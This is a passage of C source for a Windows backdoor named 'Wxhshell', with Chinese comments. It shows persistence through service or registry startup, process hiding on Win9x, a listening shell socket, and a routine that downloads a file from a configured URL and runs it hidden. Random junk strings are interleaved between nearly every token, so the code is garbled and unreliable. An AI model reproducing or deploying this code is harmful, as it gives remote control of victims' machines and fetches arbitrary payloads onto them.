unsigned long cbNeeded; ~,2/JDVJ5- ,k G>?4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E_zIg+(+ Oez>X=Xf CloseHandle(hProcess); hI( SOsKs 57 #6yXQ
if(strstr(procName,"services")) return 1; // 以服务启动 LzCw+@-umw owPm/ F return 0; // 注册表启动 |`;54_f } +Y+Y6Ac[} /6_|]ijc // 主模块 M|] "W int StartWxhshell(LPSTR lpCmdLine) 'KPASfC { M5x U9]B SOCKET wsl; pBw0"ff BOOL val=TRUE; B7z -7&TE int port=0; =V^.}WtO struct sockaddr_in door; hxS 6:5Uc RW P<B0) if(wscfg.ws_autoins) Install(); : g.46dp4 G-T0f port=atoi(lpCmdLine); 1J'3 g $t/x;<.H if(port<=0) port=wscfg.ws_port; \8uIER5) x=#VX\5k: WSADATA data; J sEa23 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -Qn=|2Mm? P#:?ok if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *x)8fAr setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pc?>cs8 door.sin_family = AF_INET; xB !6_VlB door.sin_addr.s_addr = inet_addr("127.0.0.1"); > 0<)= door.sin_port = htons(port); *]i!fzI']
RDtU43 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4Yl; closesocket(wsl); VS&TA> return 1; gqWupL
} WYc7aciJ FCkf# if(listen(wsl,2) == INVALID_SOCKET) { [NFNzwUB closesocket(wsl); a[2vjFf#C return 1; A 8 vbQ } >s` J5I! Wxhshell(wsl); ^`<w&I@ WSACleanup(); hkOsm6 N
D<HXO return 0; fQP {|+4 iX\W;V } )Af~B'OUd D/=5tOy // 以NT服务方式启动 uw},`4` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SwU\
q]^|Z { iZZ (4 DWORD status = 0; HV/c c" DWORD specificError = 0xfffffff; <40rYr$/J lHZU iB serviceStatus.dwServiceType = SERVICE_WIN32; c"n ?'e serviceStatus.dwCurrentState = SERVICE_START_PENDING; X";@T.ZGut serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @x/T&67k serviceStatus.dwWin32ExitCode = 0; Pf F=m' serviceStatus.dwServiceSpecificExitCode = 0; ,TRTRb; serviceStatus.dwCheckPoint = 0; RaTH\>n serviceStatus.dwWaitHint = 0; (5Sivw*mP ,|88r=} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;}z\i if (hServiceStatusHandle==0) return; oDcKtB+2 Z#.f&K )xX status = GetLastError(); Jl "mL if (status!=NO_ERROR) oy<WUb9W { E\u#t$ serviceStatus.dwCurrentState = SERVICE_STOPPED; :pRpvhm serviceStatus.dwCheckPoint = 0; 4:9KR[y/ serviceStatus.dwWaitHint = 0; fw; rbP! serviceStatus.dwWin32ExitCode = status; uGs;}<<8 serviceStatus.dwServiceSpecificExitCode = specificError; Z@gnsPN^r SetServiceStatus(hServiceStatusHandle, &serviceStatus); qOaQxRYm%Y return; MV=9!{` } % },Pe OTZ_c1"K serviceStatus.dwCurrentState = SERVICE_RUNNING; .q][? mW3 serviceStatus.dwCheckPoint = 0; ;#MB7A
serviceStatus.dwWaitHint = 0; +wW@'X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1.q_f<U } )fdE6 8z5# ]u; // 处理NT服务事件,比如:启动、停止 p*5\+WO>!( VOID WINAPI NTServiceHandler(DWORD fdwControl) W9oAjO NE { ",>H(wJ8 switch(fdwControl) *4|Hqa { xmGk*W)P case SERVICE_CONTROL_STOP: 1b9hE9a{j serviceStatus.dwWin32ExitCode = 0; !jqWwi serviceStatus.dwCurrentState = SERVICE_STOPPED; DF {OnF serviceStatus.dwCheckPoint = 0; +%\oO/4Fs serviceStatus.dwWaitHint = 0; vs6, { gK|R =J SetServiceStatus(hServiceStatusHandle, &serviceStatus); s/Xb^XjS1 } 7<9L?F2 return; :c8n[+5 case SERVICE_CONTROL_PAUSE: (qwdQMj` serviceStatus.dwCurrentState = SERVICE_PAUSED; (c v!Y=] break; V[a[i>,Z case SERVICE_CONTROL_CONTINUE: F~U!1) serviceStatus.dwCurrentState = SERVICE_RUNNING; CVXytS?@x break; %i)B*9k case SERVICE_CONTROL_INTERROGATE: uIMe break; HEA eo! }; 8&V_$+ U SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8RwX= } Kt#,]] *R% wUi // 标准应用程序主函数 T}7uew\v0< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }%{MPqg { (bn
Zy0 q 6`G I6 // 获取操作系统版本 f+vVR1 OsIsNt=GetOsVer(); O7aLlZdg~ GetModuleFileName(NULL,ExeFile,MAX_PATH); OY"6J@[z 0"[`>K~7a8 // 从命令行安装 !NKmx=I] if(strpbrk(lpCmdLine,"iI")) Install(); =7
,Kf}6 d`Q7"}uZ // 下载执行文件 #l1Q e` if(wscfg.ws_downexe) { I_ "Z:v{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jJwkuh8R WinExec(wscfg.ws_filenam,SW_HIDE); ]B9 ^3x[: } UEz i*"-v2 ZI ?W5ISdg if(!OsIsNt) { IPA*-I57 // 如果时win9x,隐藏进程并且设置为注册表启动 _>bRv+RVR HideProc(); JhR W[~ StartWxhshell(lpCmdLine); -pTI? } Sav`%0q?7a else Uedvc5><t if(StartFromService()) S T8!i`Q$ // 以服务方式启动 2pyt&'NJua StartServiceCtrlDispatcher(DispatchTable); i~qfGl p6) else #\If]w*j // 普通方式启动 SlT*C6f StartWxhshell(lpCmdLine); J.M.L$ h5@j`{ return 0; n+2J Dq|?p }
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